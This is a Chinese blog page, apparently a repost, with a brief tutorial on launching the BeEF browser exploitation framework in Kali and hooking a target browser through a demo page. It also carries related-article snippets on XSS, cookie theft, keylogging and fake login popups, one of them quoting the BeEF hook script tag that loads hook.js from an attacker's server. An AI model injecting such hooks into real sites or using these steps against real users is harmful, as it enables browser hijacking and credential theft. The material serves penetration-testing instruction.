BeEF工具使用

最新推荐文章于 2025-04-01 16:44:24 发布
最新推荐文章于 2025-04-01 16:44:24 发布
阅读量1.1k 收藏 1
点赞数
CC 4.0 BY-SA版权
原文链接：https://yq.aliyun.com/articles/486597
本文介绍如何使用预装在Kali 2.0中的BeEF工具进行渗透测试。步骤包括启动BeEF、登录后台及利用测试网页攻击靶机。通过实战演示如何查看靶机信息。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >


步骤一：在kali 2.0里面已经预装了BeEF工具，只需要运行即可，


步骤二：运行后通过web方式登陆beef后台

127.0.0.1:3000/ui/authentication

登陆账号和密码都是beef



步骤三：在靶机上面访问以下测试网页，然后靶机就被攻击了，在beef后台页面可以看到靶机的相关信息了。

http://192.168.1.108:3000/demos/butcher/index.html




本文转自 老鹰a  51CTO博客，原文链接:http://blog.51cto.com/laoyinga/1766400

BeEF的深入使用与编程
2301_79331328的博客
08-16 306
本文介绍了BeEF的安装配置、基本概念、攻击原理，并提供了一个简单的示例代码。BeEF（Browser Exploitation Framework）是一款开源的浏览器利用框架，它专注于Web浏览器的安全漏洞利用和攻击。BeEF提供了一套强大的工具和API，使安全研究人员能够测试Web应用程序的安全性，以及攻击者能够利用浏览器漏洞进行渗透测试和远程控制。BeEF提供了许多内置的Exploits和Modules，可以用于利用浏览器的漏洞和实施各种攻击。BeEF的深入使用与编程。
Web安全 XSS漏洞的利用（Beef工具）（点击链接就被黑的技术.）
网络安全领域___专研者.
03-18 4551
XSS漏洞的 概括： XSS又叫CSS（Cross Site Script）跨站脚本攻击，指的是攻击者在Web页面，插入恶意JS代码，当用户浏览该页之时，嵌入其中JS代码就会被执行，从而达到攻击的目的.（包含：收集用户的Cookie，添加账号，修改密码，提高用户权限等等.）
Beef工具使用
热门推荐
wo41ge的博客
02-22 2万+
今天写一下这个工具Beef 我这里用kali 启动Apache：service apache2 start 然后安装Beef工具 我用脚本安装 命令： apt-get update apt-get install beef-xss apt-get install beef-xss beef-xss 启动之后 Hook: <script src="http://<IP>:3000/hook.js"></script> 会弹出来beef的登录窗口 这边我们在看一下bee
如何使用 BeEF 黑客工具（非常详细），零基础入门到精通，看这一篇就够了
分享Python知识
10-26 2082
如何使用 BeEF 黑客工具（非常详细），零基础入门到精通，看这一篇就够了
【beef工具-01】神器beef的安装与简介
m0_64378913的博客
06-01 8198
目录1 beef概述1 beef简介1.2 beef2 beef安装3 beef的重要网址4 简单测试5 总结参考文章 1 beef概述 1 beef简介 BeEF 是浏览器开发框架的缩写。 它是一款专注于网络浏览器的渗透测试工具。 随着人们越来越担心针对客户端（包括移动客户端）的网络攻击，BeEF 允许专业的渗透测试人员通过使用客户端攻击向量来评估目标环境的实际安全状况。 与其他安全框架不同，BeEF 超越了加固的网络边界和客户端系统，并在一扇敞开的门的上下文中检查可利用性：Web 浏览器。
24_XSS跨站脚本攻击-学习与测试/Beef工具使用/Beef-xss攻击实战
weixin_54591045的博客
08-05 798
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：1.反射性XSS;2.存储型XSS;3.DOM型XSS;XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
工具的使用 _ BeEF的使用1
08-03
工具的使用 _ BeEF的使用1
【渗透测试工具beef】XSS渗透测试工具beef如何安装使用？
03-02 574
目录 事情是这样的 beef介绍 beef工作原理简介 kali下使用beef beef配置IP地址及默认密码 使用beef攻击流程 启动beef 通过web端访问 1、输入config.xml中配置的用户名和密码，登录beef管理台 2、在网站中植入hook.js代码 3、客户端192.168.107.110，访问这个页面，就会被beef勾住，浏览器的大量信息就被beef获取到了 4、获取浏览器cookie 5、网页重定向,目标浏览器跳转到你指定的网页 6、登录弹窗，获取用户名和密码 模块颜色及解释 回顾
E017-渗透测试常用工具-使用Beef对客户端浏览器进行劫持.pdf
12-02
本文档介绍了一种常用的渗透测试工具——Beef，以及如何利用它对客户端浏览器进行劫持。 Beef（Browser Exploitation Framework）是一个基于Web的渗透测试框架，专门设计用于安全研究人员和渗透测试人员控制和操纵...
一个好玩的工具BeEF介绍
luluoluoa的博客
05-07 1993
beef BeEF-XSS是一款非常强大的web框架攻击平台，集成了许多payload，可以实现许多功能 BeEF-XSS可以说是最强大的XSS漏洞利用工具，可以收集浏览器信息、键盘记录、社会工程等 总之就是使用beef这个工具来利用xss漏洞的 beef安装 我在kail虚拟机上安装的，很简单的在终端输入一句命令sudo apt setup beef-xss，然后安装成功设置密码就行了，因为之后在浏览器打开需要登陆，登陆名beef，密码就是安装时设置的那个 beef打开 在终端输入命令beef
BEEF基础使用
课嗨教育的专栏
09-07 400
BeEF，全称 The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。目前对其测试的文章不是很多，所以希望通过本次测试给大家带来全新的认识。
beef-xss详细教程(一文带你学会beef) | Kali下安装beef | beef-xss反射型，储存型利用 | beef实现Cookie会话劫持 | 键盘监听 | 浏览器弹窗，重定向等
Martin-share的博客
02-12 2万+
beef-xss详细教程(一文带你学会beef) | Kali下安装beef | beef-xss反射型，储存型利用 | beef实现Cookie会话劫持 | 键盘监听 | 浏览器弹窗，重定向等
揭秘最为知名的黑客工具之一：BeEF,从零基础到精通，收藏这篇就够了！
最新发布
Libra1313的博客
04-01 1045
简单来说，就是通过控制你的浏览器，黑客可以为所欲为，比如偷你的小秘密，或者干脆给你电脑里塞点“惊喜”。BeEF 是一款非常强大的浏览器渗透测试框架，它就像一把瑞士军刀，拥有各种各样的工具，可以帮助你有效地检测和利用浏览器漏洞。点击目标浏览器，就可以查看详细信息，准备开始“宰鱼”。通过控制面板，你可以实时监控“鱼儿”的动向，还可以进行各种操作，比如把它的浏览器重定向到其他页面，或者注入一些“好玩”的脚本。在目标浏览器的详细信息页面，你可以选择各种攻击模块，比如“获取浏览器信息”，看看这条“鱼”都有啥秘密。
使用BeEF进行编程
PixelNovaO的博客
09-17 173
BeEF是一个功能强大的浏览器利用框架，可以用于测试和演示浏览器的安全性。BeEF（Browser Exploitation Framework）是一个强大的浏览器利用框架，它可以用于测试和演示浏览器的安全性。请记住，使用BeEF进行编程需要合法和道德的目的，以确保您的行为符合法律和道德要求。一旦您完成了BeEF的安装和配置，您可以开始使用它进行编程。BeEF提供了强大的API和插件系统，使您能够扩展其功能并自定义您的漏洞利用。一旦您注册了自己的模块，您可以使用BeEF的API发送命令给目标浏览器。
webwell安全工具-BeEF
凯歌响起的博客
09-05 2079
​ BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。​ BeEF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。
揭秘最为知名的黑客工具之一：BeEF
weixin_51725318的博客
08-08 1180
揭秘最为知名的黑客工具之一：BeEF
神器 | kali工具之Beef
南迪叶先森
07-06 1176
公粽号：黒掌 一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主！ 声明：本工具仅供技术分享、交流讨论，严禁用于非法用途。 简介 Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单 http://beefproject.com 主要功能 信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4..
浏览器利用框架BeEF测试
★慕名斋★
11-07 2637
0×00 前言 http://www.vuln.cn/6966 BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多，所以希望通过本次测试给大家带来全新的认识。 0×01 简介 工具主页：http://beefproject.com
beef-xss详细使用教程
03-18
BeEF（Browser Exploitation Framework）是一个用于浏览器渗透测试的工具框架。它允许安全研究人员分析和演示浏览器作为攻击媒介的风险。通过注入恶意JavaScript代码，BeEF可以控制受害者的浏览器会话，并执行多种...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值